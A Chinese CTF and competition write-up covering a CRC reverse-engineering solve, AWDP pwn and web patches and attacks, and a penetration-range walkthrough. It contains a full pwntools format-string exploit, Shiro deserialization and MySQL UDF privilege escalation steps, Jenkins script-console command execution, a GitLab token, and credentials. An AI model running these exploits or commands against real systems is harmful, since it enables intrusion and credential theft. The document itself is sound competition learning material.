2FE39DA6 = 5FC73B4C >> 1
17F1CED3 = 2FE39DA6 >> 1
E6406449 = (17F1CED3 >> 1) ^ 0xedb88320
9E98B104 = (E6406449 >> 1) ^ 0xedb88320
4F4C5882 = 9E98B104 >> 1
27A62C41 = 4F4C5882 >> 1
FE6B9500 = (27A62C41 >> 1) ^ 0xedb88320
FE6B95C5 = FE6B9500^C5
928D49C2 = (FE6B95C5 >> 1) ^ 0xedb88320
4946A4E1 = 928D49C2 >> 1
C91BD150 = (4946A4E1 >> 1) ^ 0xedb88320
648DE8A8 = C91BD150 >> 1
3246F454 = 648DE8A8 >> 1
19237A2A = 3246F454 >> 1
C91BD15 = 19237A2A >> 1
EBF05DAA = (C91BD15 >> 1) ^ 0xedb88320
EBF05DE8 = EBF05DAA^42
75F82EF4 = EBF05DE8 >> 1
3AFC177A = 75F82EF4 >> 1
1D7E0BBD = 3AFC177A >> 1
E30786FE = (1D7E0BBD >> 1) ^ 0xedb88320
7183C37F = E30786FE >> 1
D579629F = (7183C37F >> 1) ^ 0xedb88320
8704326F = (D579629F >> 1) ^ 0xedb88320
AE3A9A17 = (8704326F >> 1) ^ 0xedb88320
AE3A9AB5 = AE3A9A17^A2
BAA5CE7A = (AE3A9AB5 >> 1) ^ 0xedb88320
5D52E73D = BAA5CE7A >> 1
C311F0BE = (5D52E73D >> 1) ^ 0xedb88320
6188F85F = C311F0BE >> 1
DD7CFF0F = (6188F85F >> 1) ^ 0xedb88320
8306FCA7 = (DD7CFF0F >> 1) ^ 0xedb88320
AC3BFD73 = (8306FCA7 >> 1) ^ 0xedb88320
BBA57D99 = (AC3BFD73 >> 1) ^ 0xedb88320
BBA57DAC = BBA57D99^35
5DD2BED6 = BBA57DAC >> 1
2EE95F6B = 5DD2BED6 >> 1
FACC2C95 = (2EE95F6B >> 1) ^ 0xedb88320
90DE956A = (FACC2C95 >> 1) ^ 0xedb88320
486F4AB5 = 90DE956A >> 1
C98F267A = (486F4AB5 >> 1) ^ 0xedb88320
64C7933D = C98F267A >> 1
DFDB4ABE = (64C7933D >> 1) ^ 0xedb88320
DFDB4A1C = DFDB4ABE^A2
6FEDA50E = DFDB4A1C >> 1
37F6D287 = 6FEDA50E >> 1
F643EA63 = (37F6D287 >> 1) ^ 0xedb88320
96997611 = (F643EA63 >> 1) ^ 0xedb88320
A6F43828 = (96997611 >> 1) ^ 0xedb88320
537A1C14 = A6F43828 >> 1
29BD0E0A = 537A1C14 >> 1
14DE8705 = 29BD0E0A >> 1
14DE8756 = 14DE8705^53
A6F43AB = 14DE8756 >> 1
E88F22F5 = (A6F43AB >> 1) ^ 0xedb88320
99FF125A = (E88F22F5 >> 1) ^ 0xedb88320
4CFF892D = 99FF125A >> 1
CBC747B6 = (4CFF892D >> 1) ^ 0xedb88320
65E3A3DB = CBC747B6 >> 1
DF4952CD = (65E3A3DB >> 1) ^ 0xedb88320
821C2A46 = (DF4952CD >> 1) ^ 0xedb88320
821C2AB8 = 821C2A46^FE
410E155C = 821C2AB8 >> 1
20870AAE = 410E155C >> 1
10438557 = 20870AAE >> 1
E599418B = (10438557 >> 1) ^ 0xedb88320
9F7423E5 = (E599418B >> 1) ^ 0xedb88320
A20292D2 = (9F7423E5 >> 1) ^ 0xedb88320
51014969 = A20292D2 >> 1
C5382794 = (51014969 >> 1) ^ 0xedb88320
C53827BC = C5382794^28
629C13DE = C53827BC >> 1
314E09EF = 629C13DE >> 1
F51F87D7 = (314E09EF >> 1) ^ 0xedb88320
973740CB = (F51F87D7 >> 1) ^ 0xedb88320
A6232345 = (973740CB >> 1) ^ 0xedb88320
BEA91282 = (A6232345 >> 1) ^ 0xedb88320
5F548941 = BEA91282 >> 1
C212C780 = (5F548941 >> 1) ^ 0xedb88320
C212C73C = C212C780^BC
6109639E = C212C73C >> 1
3084B1CF = 6109639E >> 1
F5FADBC7 = (3084B1CF >> 1) ^ 0xedb88320
9745EEC3 = (F5FADBC7 >> 1) ^ 0xedb88320
A61A7441 = (9745EEC3 >> 1) ^ 0xedb88320
BEB5B900 = (A61A7441 >> 1) ^ 0xedb88320
5F5ADC80 = BEB5B900 >> 1
2FAD6E40 = 5F5ADC80 >> 1
2FAD6E53 = 2FAD6E40^13
FA6E3409 = (2FAD6E53 >> 1) ^ 0xedb88320
908F9924 = (FA6E3409 >> 1) ^ 0xedb88320
4847CC92 = 908F9924 >> 1
2423E649 = 4847CC92 >> 1
FFA97004 = (2423E649 >> 1) ^ 0xedb88320
7FD4B802 = FFA97004 >> 1
3FEA5C01 = 7FD4B802 >> 1
F24DAD20 = (3FEA5C01 >> 1) ^ 0xedb88320
F24DAD96 = F24DAD20^B6
7926D6CB = F24DAD96 >> 1
D12BE845 = (7926D6CB >> 1) ^ 0xedb88320
852D7702 = (D12BE845 >> 1) ^ 0xedb88320
4296BB81 = 852D7702 >> 1
CCF3DEE0 = (4296BB81 >> 1) ^ 0xedb88320
6679EF70 = CCF3DEE0 >> 1
333CF7B8 = 6679EF70 >> 1
199E7BDC = 333CF7B8 >> 1
199E7BEA = 199E7BDC^36
CCF3DF5 = 199E7BEA >> 1
EBDF1DDA = (CCF3DF5 >> 1) ^ 0xedb88320
75EF8EED = EBDF1DDA >> 1
D74F4456 = (75EF8EED >> 1) ^ 0xedb88320
6BA7A22B = D74F4456 >> 1
D86B5235 = (6BA7A22B >> 1) ^ 0xedb88320
818D2A3A = (D86B5235 >> 1) ^ 0xedb88320
40C6951D = 818D2A3A >> 1
40C695BE = 40C6951D^A3
20634ADF = 40C695BE >> 1
FD89264F = (20634ADF >> 1) ^ 0xedb88320
937C1007 = (FD89264F >> 1) ^ 0xedb88320
A4068B23 = (937C1007 >> 1) ^ 0xedb88320
BFBBC6B1 = (A4068B23 >> 1) ^ 0xedb88320
B2656078 = (BFBBC6B1 >> 1) ^ 0xedb88320
5932B03C = B2656078 >> 1
2C99581E = 5932B03C >> 1
2C99584A = 2C99581E^54
164CAC25 = 2C99584A >> 1
E69ED532 = (164CAC25 >> 1) ^ 0xedb88320
734F6A99 = E69ED532 >> 1
D41F366C = (734F6A99 >> 1) ^ 0xedb88320
6A0F9B36 = D41F366C >> 1
3507CD9B = 6A0F9B36 >> 1
F73B65ED = (3507CD9B >> 1) ^ 0xedb88320
962531D6 = (F73B65ED >> 1) ^ 0xedb88320
96253177 = 962531D6^A1
A6AA1B9B = (96253177 >> 1) ^ 0xedb88320
BEED8EED = (A6AA1B9B >> 1) ^ 0xedb88320
B2CE4456 = (BEED8EED >> 1) ^ 0xedb88320
5967222B = B2CE4456 >> 1
C10B1235 = (5967222B >> 1) ^ 0xedb88320
8D3D0A3A = (C10B1235 >> 1) ^ 0xedb88320
469E851D = 8D3D0A3A >> 1
CEF7C1AE = (469E851D >> 1) ^ 0xedb88320
CEF7C1EE = CEF7C1AE^40
677BE0F7 = CEF7C1EE >> 1
DE05735B = (677BE0F7 >> 1) ^ 0xedb88320
82BA3A8D = (DE05735B >> 1) ^ 0xedb88320
ACE59E66 = (82BA3A8D >> 1) ^ 0xedb88320
5672CF33 = ACE59E66 >> 1
C681E4B9 = (5672CF33 >> 1) ^ 0xedb88320
8EF8717C = (C681E4B9 >> 1) ^ 0xedb88320
477C38BE = 8EF8717C >> 1
477C380F = 477C38BE^B1
CE069F27 = (477C380F >> 1) ^ 0xedb88320
8ABBCCB3 = (CE069F27 >> 1) ^ 0xedb88320
A8E56579 = (8ABBCCB3 >> 1) ^ 0xedb88320
B9CA319C = (A8E56579 >> 1) ^ 0xedb88320
5CE518CE = B9CA319C >> 1
2E728C67 = 5CE518CE >> 1
FA81C513 = (2E728C67 >> 1) ^ 0xedb88320
90F861A9 = (FA81C513 >> 1) ^ 0xedb88320
90F861BA = 90F861A9^13
487C30DD = 90F861BA >> 1
C9869B4E = (487C30DD >> 1) ^ 0xedb88320
64C34DA7 = C9869B4E >> 1
DFD925F3 = (64C34DA7 >> 1) ^ 0xedb88320
825411D9 = (DFD925F3 >> 1) ^ 0xedb88320
AC928BCC = (825411D9 >> 1) ^ 0xedb88320
564945E6 = AC928BCC >> 1
2B24A2F3 = 564945E6 >> 1
2B24A251 = 2B24A2F3^A2
F82AD208 = (2B24A251 >> 1) ^ 0xedb88320
7C156904 = F82AD208 >> 1
3E0AB482 = 7C156904 >> 1
1F055A41 = 3E0AB482 >> 1
E23A2E00 = (1F055A41 >> 1) ^ 0xedb88320
711D1700 = E23A2E00 >> 1
388E8B80 = 711D1700 >> 1
1C4745C0 = 388E8B80 >> 1
1C474595 = 1C4745C0^55
E39B21EA = (1C474595 >> 1) ^ 0xedb88320
71CD90F5 = E39B21EA >> 1
D55E4B5A = (71CD90F5 >> 1) ^ 0xedb88320
6AAF25AD = D55E4B5A >> 1
D8EF11F6 = (6AAF25AD >> 1) ^ 0xedb88320
6C7788FB = D8EF11F6 >> 1
DB83475D = (6C7788FB >> 1) ^ 0xedb88320
8079208E = (DB83475D >> 1) ^ 0xedb88320
8079202D = 8079208E^A3
AD841336 = (8079202D >> 1) ^ 0xedb88320
56C2099B = AD841336 >> 1
C6D987ED = (56C2099B >> 1) ^ 0xedb88320
8ED440D6 = (C6D987ED >> 1) ^ 0xedb88320
476A206B = 8ED440D6 >> 1
CE0D9315 = (476A206B >> 1) ^ 0xedb88320
8ABE4AAA = (CE0D9315 >> 1) ^ 0xedb88320
455F2555 = 8ABE4AAA >> 1
455F2500 = 455F2555^55
22AF9280 = 455F2500 >> 1
1157C940 = 22AF9280 >> 1
8ABE4A0 = 1157C940 >> 1
455F250 = 8ABE4A0 >> 1
22AF928 = 455F250 >> 1
1157C94 = 22AF928 >> 1
8ABE4A = 1157C94 >> 1
455F25 = 8ABE4A >> 1
455F86 = 455F25^A3
22AFC3 = 455F86 >> 1
EDA9D4C1 = (22AFC3 >> 1) ^ 0xedb88320
9B6C6940 = (EDA9D4C1 >> 1) ^ 0xedb88320
4DB634A0 = 9B6C6940 >> 1
26DB1A50 = 4DB634A0 >> 1
136D8D28 = 26DB1A50 >> 1
9B6C694 = 136D8D28 >> 1
4DB634A = 9B6C694 >> 1
4DB631F = 4DB634A^55
EFD532AF = (4DB631F >> 1) ^ 0xedb88320
9A521A77 = (EFD532AF >> 1) ^ 0xedb88320
A0918E1B = (9A521A77 >> 1) ^ 0xedb88320
BDF0442D = (A0918E1B >> 1) ^ 0xedb88320
B340A136 = (BDF0442D >> 1) ^ 0xedb88320
59A0509B = B340A136 >> 1
C168AB6D = (59A0509B >> 1) ^ 0xedb88320
8D0CD696 = (C168AB6D >> 1) ^ 0xedb88320
8D0CD635 = 8D0CD696^A3
AB3EE83A = (8D0CD635 >> 1) ^ 0xedb88320
559F741D = AB3EE83A >> 1
C777392E = (559F741D >> 1) ^ 0xedb88320
63BB9C97 = C777392E >> 1
DC654D6B = (63BB9C97 >> 1) ^ 0xedb88320
838A2595 = (DC654D6B >> 1) ^ 0xedb88320
AC7D91EA = (838A2595 >> 1) ^ 0xedb88320
563EC8F5 = AC7D91EA >> 1

算法抄出来

def crc(n):
    for _ in range(8):
        if n % 2 != 0:
            # print(f"{hex((n >> 1) ^ 0xedb88320)} = ({hex(n)} >> 1) ^ 0xedb88320")
            n = (n >> 1) ^ 0xedb88320
            n &= 0xffffffff
        else:
            # print(f"{hex(n >> 1)} = {hex(n)} >> 1")
            n = n >> 1
            n &= 0xffffffff
    return n

def enc1(a):
    table = bytes.fromhex('5A E9 4C EA 41 E9 66 A3 59 E4 21 A0 58 9A 41 C9 58 A6 5A 8A 2F 8A 2E EF 5B 88 2C 88 4A E4 41 A6 0A 9C 2F 89 4D 8B 59 9B 0A 88 4C 89 4C 89 4C 89')
    enc = [a[i % 2] ^ ((table[i] - 8) & 0xff) for i in range(len(table))]
    # print([hex(i) for i in enc])
    r = 0xffffffff
    for i in enc:
        r ^= i
        r = crc(r)
    r ^= 0xffffffff
    return r

最后我们使用X64dbg条件断点来断最后的数据,然后进行追踪,我们可以跳到一个CMP。
2024-12-16T17:55:35.png
原理是我们的输入减去常数和0比较,然后通过setne设置al,之后是一个混淆后的比较,最后的结果体现在下面的ecx。
2024-12-16T17:56:22.png
这个je,不跳转是EXIT,跳转是正确,解密flag。
第一次到这直接改标志位了,但是flag没输出,应该是用输入来进行解密的。
我们可以看到刚刚的cmp,只要结果是CRC的结果就可以,我们选择BruteForce

for i in range(256):
    for j in range(256):
        if enc1([i, j]) == 0xF703DF16:
            print(hex(i), hex(j))
            break

所以EXP是

def crc(n):
    for _ in range(8):
        if n % 2 != 0:
            # print(f"{hex((n >> 1) ^ 0xedb88320)} = ({hex(n)} >> 1) ^ 0xedb88320")
            n = (n >> 1) ^ 0xedb88320
            n &= 0xffffffff
        else:
            # print(f"{hex(n >> 1)} = {hex(n)} >> 1")
            n = n >> 1
            n &= 0xffffffff
    return n

def enc1(a):
    table = bytes.fromhex('5A E9 4C EA 41 E9 66 A3 59 E4 21 A0 58 9A 41 C9 58 A6 5A 8A 2F 8A 2E EF 5B 88 2C 88 4A E4 41 A6 0A 9C 2F 89 4D 8B 59 9B 0A 88 4C 89 4C 89 4C 89')
    enc = [a[i % 2] ^ ((table[i] - 8) & 0xff) for i in range(len(table))]
    # print([hex(i) for i in enc])
    r = 0xffffffff
    for i in enc:
        r ^= i
        r = crc(r)
    r ^= 0xffffffff
    return r

for i in range(256):
    for j in range(256):
        if enc1([i, j]) == 0xF703DF16:
            print(hex(i), hex(j))
            break
0x79 0xbc

输入79BC就可以解出flag。

顺便分析一下解密flag的地方,先malloc,再memset,然后
解密前:
2024-12-16T17:58:06.png
解密后:
2024-12-16T17:58:22.png
2024-12-16T17:59:00.png
flag{MjExNTY3MzE3NTQzMjI=}

写在开头

2024/7/19 - 2024/7/21 作为西安电子科技大学的L-Team和7-Team,参加了全国大学生信息安全竞赛总决赛,
其中,L-Team拿下全国12名的成绩,获得全国一等奖(1~22名),7-Team拿下35名,荣获全国二等奖(23~46名)。
2024-07-21T17:11:47.png
本文会从笔者实时解题思路出发,以第一人称的视角记录,希望给后来人一些应对的措施。
队友: luo(队长, pwn 手), chick(pwn 手), passers-by(web 手), 0xcafebabe(re | web 手)

第 4294967291 天 - Build

.git 泄露

第 0 天 - 环境测试

早上赶高铁,下午到达成都,到了后回酒店收拾然后去比赛场地进行环境测试,我们4个人固定了属于自己的网线以固定IP地址,我则开了docker compose容器(codimd)来进行在线同步文档,队友开了viper(红队神器),peiqi等..., 我们把各自被分配到的IP放入了Codimd在线文档中以快速访问。
在这之前,我利用xzSpider先知社区的技术文档全部扒了下来以供比赛时候查看,并且我还准备了许多离线工具和文档,工具例如
1.CyberChef - CTFers的离线瑞士军刀
2.jadx - Java 反编译利器
3.JByteMod - Java 字节码更改神器
4.godzilla - 中文名哥斯拉,用来管理Webshell。
5.Behinder - 中文名冰蝎,用来管理Webshell。
6.Webshell_Generate - 用来生成Webshell木马。
7.WireShark - 流量分析神器
8.dnSpy - .NET 分析利器
9.IDA, IDA-64, IDA8, IDA8-64 逆向神器 (伏笔:ida不支持mipsl架构)
10.Py基础库

httpx
requests
pycryptodome
z3-solver
pyshark
numpy
gmpy2
Pillow
pandas
dirsearch
paramiko
colorlog
fenjing
flask

11.fscan和nmap ip/端口扫描神器
12.dirsearch(py包)目录扫描神器
13.fenjing(py包)SSTI神器
14.VmWare WorkStation 17
15.Kali 虚拟机 with External Internet
16.php_enhanced_zh.chm
17.x32dbg/x64dbg
18.burp suite
19.010Editor
20.de4dot - .NET 反混淆神器
21.GDA - apk分析神器
22.VSCODE && VS studio
23.Alacritty - 我喜欢用的终端
24.obs studio - 比赛要全程录屏
25.bandizip && 7zip
26.Proxifier
27.Everything
28.IntelliJ IDEA Ultimate
29.nodejs && npm 并安装基础包 (当时忘了下载了导致悲剧)
30.Java 8 && 一个高版本,并且会自己换环境变量来切版本。
31.HeidiSQL - 多个sql数据库的管理
32.至少一个Windows系统,用于渗透。
33.C&&C++ 完整工具链
34.Rust工具链
35.C#工具链
36.phpStudy && xdebug + vscode 本机调试php代码,详情见另一篇文章。
.......
总之,工具很多,我们把工具和文档(13GB左右)放在了一个移动硬盘,然后比赛前所有队员都拿着电脑来拷贝一份,保证所有人都有这些tools和文档,来保证进度的同步和完整性。

就这样,第0天就过去了,- 不过在晚上,主办方竟然在群里发了1.3GB的附件加密压缩包的百度网盘链接,说是下载然后第二天备用,顺便在21点左右发了第二天可信计算的VMWARE镜像和操作文档,防止和去年一样被冲于是禁言了群聊,好一个猝不及防,好一个酒店网速。-

第一天 AWDP + CTF(可信计算) (炸裂)

早上我们赶到现场后,由于我用的是无线鼠标和键盘,主办方开了信号干扰,导致全部失效,还好早预料到了,所以带了有线的鼠标(接口在20cm外键盘根本用不了,所以以后线下断网赛就别带无线了,全上有线,最好是军工级别😋,抗干扰)。
由于我们之前从来没有打过AWDP,我开始的时候优先选择了Break(攻击),但是好半天都没成功拿到flag,一转眼,防御3血全被抢完了,我才意识到亏大了,由于AWDP每一轮的分会加上你当前所有分的总和,所以我们相当于少吃上了很多轮的分,而且n血分分数还会递减,导致我们每一轮都比别人少加分,最后导致了严重的结果。所以AWDP比赛防御比攻击重要速度要比准确重要,得到的经验是,先把所有的题目fix掉,然后跟着Attack榜打,由于我们的失误,导致AWDP直接爆炸,而且CTF也没时间做,可信计算0分,AWDP 48名左右,感觉已经与国二无缘了,和队友开玩笑明天渗透赛拿个全场第一说不定还有救,当天晚上,我从0学习了渗透,和7Team一起刷了春秋云境的Privilege赛题(伏笔),顺便把h0ny和X1r0z的blog全拉了下来给渗透用,掌握了Jenkins和Gitlab如何渗透.....然后后面打域的时候照着WP复现也很困难,就没打了,整体打了5个多小时吧。

AWDP-PWN

CHR

Defense

convert选项里在调用iconv后尝试复制4 * size个字节到当前的堆上,存在堆溢出,将memcpy的第三个参数改为size通过。

anime

Defense

存在格式化字符串漏洞。将printf(format)改为printf("%s", format)。由于前面就有一个字符串hello,%s。所以我们只用想办法将原来的第一个参数放到第二个;利用偏移将%s的地址放到第二个参数里。将call printf前的mov eax, 0删除,后面的往前移可以多出来修改的空间。

Attack

输入的数据经过了 AES 加密,密钥可以直接找到。
key: e/Nc1pxHXV5vHXojGHv5NA==

#! /usr/bin/env python3.8
from pwn import *
from ctools import *
from SomeofHouse import *
from Crypto.Cipher import AES

context(os="linux", arch="amd64")
TMUX_TERMINAL()
# context.log_level = "debug"
# context.newline=b'\r\n'

elf_path = './pwn'
libc_path = './libc.so.6'

init_elf_with_libc(elf_path, libc_path, path='./anime', force=True)
DEBUG = lambda script = '': gdb.attach(io, gdbscript=script)

conn_context(host='123.56.92.131', port=39363, level=REMOTE, elf=elf_path)
conn_context(args=[PRE_LOAD], rpath=[libc_path, './libcrypto.so.1.1', './libdl.so.2', './libpthread.so.0'])

elf = ELF(elf_path)
libc = ELF(libc_path, checksec=False)
io = conn()

key = b''
def ss(pad):
    aes = AES.new(key, AES.MODE_ECB)
    io.sendafter(b'what\'s your favourite anime:', aes.encrypt(pad))
    
def exp():
    global key
    key_raw = [123, 243, 92, 214, 156, 71, 93, 94, 111, 29, 122, 35, 24, 123, 249, 52]
    for i in key_raw:
        key += p8(i)
    
    aes = AES.new(key, AES.MODE_ECB)
    io.sendafter(b'name', b'a' * 0x8 + p16(0x150f))

    ss(b'%12$p%15$p%19$p'.ljust(0x10, b'A'))

    io.recvuntil(b'0x')
    stack = int(io.recv(12), 16) - 0x100 + 0x18 -0x50
    success(hex(stack))

    io.recvuntil(b'0x')
    libc.address = int(io.recv(12), 16) - libc.symbols['__libc_start_main'] - 243
    success(hex(libc.address))

    io.recvuntil(b'0x')
    elf.address = int(io.recv(12), 16) - elf.symbols['main']
    success(hex(proc.address))
    
    
    pad = f'%{stack & 0xffff}c%6$hn'.encode()
    ss(pad.ljust(0x10, b'a'))

    main_ptr = (elf.address + 0x1553) & 0xffff
    pad = f'%{main_ptr}c%{0x27 + 6}$hhn'.encode()
    # print(len(pad))
    ss(pad.ljust(0x10, b'a'))

    sleep(1)
    io.send(p64(stack + 0x50) + p64(stack + 0x52))
    
    one = libc.address + 0xe3b01
    pad = f'%{one & 0xffff}c%10$hn'.encode()
    ss(pad.ljust(0x10, b'a'))

    pad = f'%{(one >> 16) & 0xff}c%11$hhn'.encode()
    # DEBUG('b * $rebase(0x15CB)')
    ss(pad.ljust(0x10, b'a'))

    pass


try:
    exp()
    io.interactive()
finally:
    rm_core()
    pass

ezHeap

Defense

输入 json 格式。

{"choice":"new","index":0,"length":1,"message":"1"}

rm里有 UAF,但尝试直接将free(heap_list[i])直接改为heap_list[i] = 0时 check 不过。但在modify时存在堆溢出,将newmodify的大小固定为 1024 通过。

AWDP-Web

ezjs

看了下录制回放,发现自己4个小时都在搞这个,就是没打通,隔壁队友在盯着字节码修Java,但是最后炸了。

Defense

在文件上传的地方把/.ejs/i加入正则匹配,然后对上传内容加了exec和globals过滤。
不过隔壁7队直接把..过滤掉了,就过了.....

Attack (未打通)

赛后和其他战队交流发现是上传名为.ejs的文件就没有后缀了,真的没想到。

ShareCard

Defense

SSTI,把它的safe_render_templete改成官方自己的,就安全了。

Attack (未打通)

...fenjing用不了,还没学SSTI,就没打了。

第二天 渗透 + CTF(工控安全 车联网安全)

还好第二天不是动态积分,要不然真丸辣。

渗透题目简介

在这个靶场中,您将扮演一名渗透测试工程师,接受雇佣任务来评估 VertexSoft 科技有限公司的网络安全。VertexSoft 是一家专注于互联网与信息技术领域的领先公司,该公司致力于为客户提供卓越的数字解决方案,以满足各种业务需求。 您的任务是首先入侵公司在公网上暴露的应用程序,然后运用后渗透技巧深入 VertexSoft 公司的内部网络。在这个过程中,您将寻找潜在的弱点和漏洞,并逐一接管所有服务。最终的目标是接管域控制器,从而控制整个内部网络。靶场中共设置了8个Flag,它们分布在不同的靶机上,您需要找到并获取这些Flag作为您的成就目标。 该靶场已为选手提供了 VPS,其与靶场入口同一网段,仅用于反弹 Shell 和反向代理使用。反弹 Shell 和反向代理时请使用 VPS 内网 IP 作为监听地址。 VPS SSH 凭据:root/*********,请选手登陆后自行修改 SSH 密码。

ERP (Shiro+Spring+heapdump)

给了一个erp主机ip,一个vps主机ip(其实没用,因为erp主机不出网,但是还是建议更改vps的密码),先扫描erp主机的ip,发现开着一个Web服务和SSH端口,随后得知Web服务有Spring的heapdump泄露,我们先下载泄露的heapdump,然后查看/actuator/beans,注意到是Shiro,我们想到了春秋云境的Hospital题目中的Shiro+Spring,我们使用JDumpSpider进行分析,注意到有Key泄露,且是AES-GCM的加密,我们使用Shiro反序列化利用工具SummerSec/ShiroAttack2,勾选GCM后即可拿下Shell,由于ssh是开的,且whoami后发现是root权限,我们将自己的SSH公钥放到/root/.ssh/authorized_keys里面,就可以通过ssh链接远程靶机了,随后cat /flag.txt即可拿下第一个flag。
随后我们在ERP上穿了stowaway agent然后把java服务下掉了,正向连接我们队友的ip的8080服务端口做的代理,设置Proxifier,让我们访问192.168.8.*的时候代理到他的内网,我们就可以进行内网扫描渗透了。

内网横向扫描信息

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.3
start infoscan
(icmp) Target 192.168.8.146   is alive
(icmp) Target 192.168.8.9     is alive
(icmp) Target 192.168.8.16    is alive
(icmp) Target 192.168.8.12    is alive
(icmp) Target 192.168.
is alive
(icmp) Target 192.168.8.26    is alive
(icmp) Target 192.168.8.42    is alive
(icmp) Target 192.168.8.253   is alive
[*] Icmp alive hosts len is: 8
192.168.8.12:88 open
192.168.8.9:8000 open
192.168.8.38:3306 open
192.168.8.9:1433 open
192.168.8.26:445 open
192.168.8.38:445 open
192.168.8.12:445 open
192.168.8.16:445 open
192.168.8.9:445 open
192.168.8.26:139 open
192.168.8.38:139 open
192.168.8.12:139 open
192.168.8.16:139 open
192.168.8.16:135 open
192.168.8.9:139 open
192.168.8.26:135 open
192.168.8.38:135 open
192.168.8.12:135 open
192.168.8.9:80 open
192.168.8.9:135 open
192.168.8.26:8080 open
192.168.8.42:22 open
192.168.8.146:22 open
192.168.8.16:8080 open
192.168.8.42:80 open
192.168.8.146:8080 open
192.168.8.9:8172 open
192.168.8.42:8060 open
192.168.8.42:9094 open
[*] alive ports len is: 29
start vulscan
[*] NetInfo
[*]192.168.8.9
   [->]WIN-IISSERER
   [->]192.168.8.9
[*] NetBios 192.168.8.26    WORKGROUP\WIN-PC3788
[*] NetBios 192.168.8.12    [+] DC:VERTEXSOFT\RODC
[*] NetBios 192.168.8.16    WORKGROUP\WIN-SERVER03
[*] NetBios 192.168.8.9     WORKGROUP\WIN-IISSERER
[*] NetBios 192.168.8.38    WORKGROUP\WIN-OPS88
[*] WebTitle http://192.168.8.42:8060  code:404 len:555    title:404 Not Found
[*] NetInfo
[*]192.168.8.12
   [->]RODC
   [->]192.168.8.12
[*] NetInfo
[*]192.168.8.38
   [->]WIN-OPS88
   [->]192.168.8.38
[*] WebTitle http://192.168.8.146:8080 code:302 len:0      title:None 跳转url: http://192.168.8.146:8080/login;jsessionid=56BFBD13B1984442735B72749905D5F2
[*] WebTitle http://192.168.8.9        code:200 len:43679  title:VertexSoft
[*] NetInfo
[*]192.168.8.26
   [->]WIN-PC3788
   [->]192.168.8.26
[*] NetInfo
[*]192.168.8.16
   [->]WIN-SERVER03
   [->]192.168.8.16
[*] WebTitle http://192.168.8.146:8080/login;jsessionid=56BFBD13B1984442735B72749905D5F2 code:200 len:1383   title:Master ERP login Form
[*] WebTitle https://192.168.8.9:8172  code:404 len:0      title:None
[*] WebTitle http://192.168.8.42       code:302 len:99     title:None 跳转url: http://192.168.8.42/users/sign_in
[*] WebTitle http://192.168.8.26:8080  code:200 len:147    title:第一个 JSP 程序
[*] WebTitle http://192.168.8.16:8080  code:403 len:594    title:None
[+] PocScan http://192.168.8.146:8080 poc-yaml-spring-actuator-heapdump-file
[*] WebTitle http://192.168.8.9:8000   code:200 len:4018   title:Modbus Monitor - VertexSoft Internal Attendance System
[+] PocScan http://192.168.8.146:8080 poc-yaml-springboot-env-unauth spring2
[*] WebTitle http://192.168.8.42/users/sign_in code:200 len:11166  title:登录 · GitLab

WIN-OPS88 (MySQL 弱密码 + Windows)

2024-07-22T05:56:45.png
MySQL弱密码root@123456,然后进行UDF提权(mdut工具一把梭),拿下Shell后,进行 net user Administrator <password>进行密码修改,然后通过WindowsRDP进行远程桌面登陆,在C:\Users\Administrator\flag\flag.txt中找到第二个flag。

RODC (Misc + Windows)

书接上回,在WIN-OPS88桌面上有一个WPS OFFICE,让我们很疑惑为什么会有,我们点开后查看Recent,发现了一个表格,里面有一组账号密码。
2024-07-22T06:05:09.png
由于文件名带有ROAdmins,很容易我们想到是RODC相关密码,我们发现这些密码均能远程登陆RODC Windows的RDP,然后在C:\Users\Administrator\flag\flag.txt中找到第三个flag。有人可能会疑惑为什么非Administrator用户能够访问Administrator的文件夹,因为鉴权没弄好,我认为这个题目原本是让你先提权再拿Flag,结果没做好,让选手白白赚了600分。

Jinkens 和 GitLab(Jenkins + GitLab + API_TOKEN 泄露 + 弱密码)

我们在做完上面几个题目后,只用了不到3个小时,后面的时间都在找Jenkins的密码,由于刚开始没有体系化进行攻击,导致我们没有很早挖出Jenkins的密码,后来队友跑了个密码字典,发现密码是admin123,但是这时候已经距离比赛结束只有12分钟了。不过前一天在春秋云境做过Privilege题目,正好可以用上它的思路。我们找到Jenkins里面的GitLab API-Token,发现是加密的,我们采用Jenkins的脚本命令行输入println(hudson.util.Secret.decrypt("{xxxxx}"))来解密GitLab的API-Token,另外,对于Jenkins的flag,我们只需要输入println "type C:\\Administrator\\flag\\flag.txt".execute().text即可拿下Jenkins的flag,我们有了GitLab的APIToken(glpat-bGEgHAJDvwaPP78rsLeS)就可以访问它的所有仓库,我们接下来进行详细分析。
我们在linux环境中使用proxychains curl --header "PRIVATE-TOKEN: glpat-bGEgHAJDvwaPP78rsLeS" "http://192.168.8.42/api/v4/projects"可以获得一个巨大的返回json,通过这个json可以观察到GitLab中所有的储存库信息,我们直接拉下第一个git clone http://oauth2:<API_TOKEN>@192.168.8.42/vertexsoft/vertexsoftbackup.git然后里面的backups.txt就是最后GitLab的flag。
注:gitlab其他仓库的内容可能与其他题目有关,但是我们做出这个题只剩3分钟了。

192.168.8.9:8000 (挖掘但未攻克)

2024-07-22T06:22:50.png
这个题目在注册用户的时候,把自己的权限组通过burp suite的中断,可以更改为admin,然后就可以有了admin的权限,我们发现头像上传这里可以上传文件,但是我们最后也无法上传asp后缀之类的文件,浪费了很多时间。
我们发现
2024-07-22T06:24:23.png
这里的Export存在任意文件读写(把后面的文件名可以改成C:\Windows\win.ini)这样的字样,就可以正确下载,但是这并没有什么作用。
最终这个题只获得了这些信息,而且都没用上

用户名
admin
密码
A1m!n@Qsx1Jn
年龄
20
性别
20
手机号
13012345678
邮箱
admin@vertexsoft.com
部门
Operations Department
岗位
Operation and Maintenance Engineer
角色
admin

Portal (未解出)

通过dirsearch发现有子目录/backup,再从子目录开始扫,发现有/backup/upload,然后里面有个index.jsp文件,但是是空白,最后才知道这个可以文件上传使用PUT,哎这完全没提示啊!!!

CTF 相关题目

流量分析

使用wireshark打开发现时modbus流量,筛选modbus功能码16,字节数为4的流量

modbus && modbus.func_code == 16 && modbus.byte_cnt == 4 

发现包17478和包18216中写入116和117寄存器,且值相同,为0x408e147b,大端序,转成float为4.44

#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/sendfile.h>

#include <sys/mman.h>

int main(){
    float a;
    int *b = (int*)&a;
    *b = 0x408e147b;
    printf("%f", a);
    
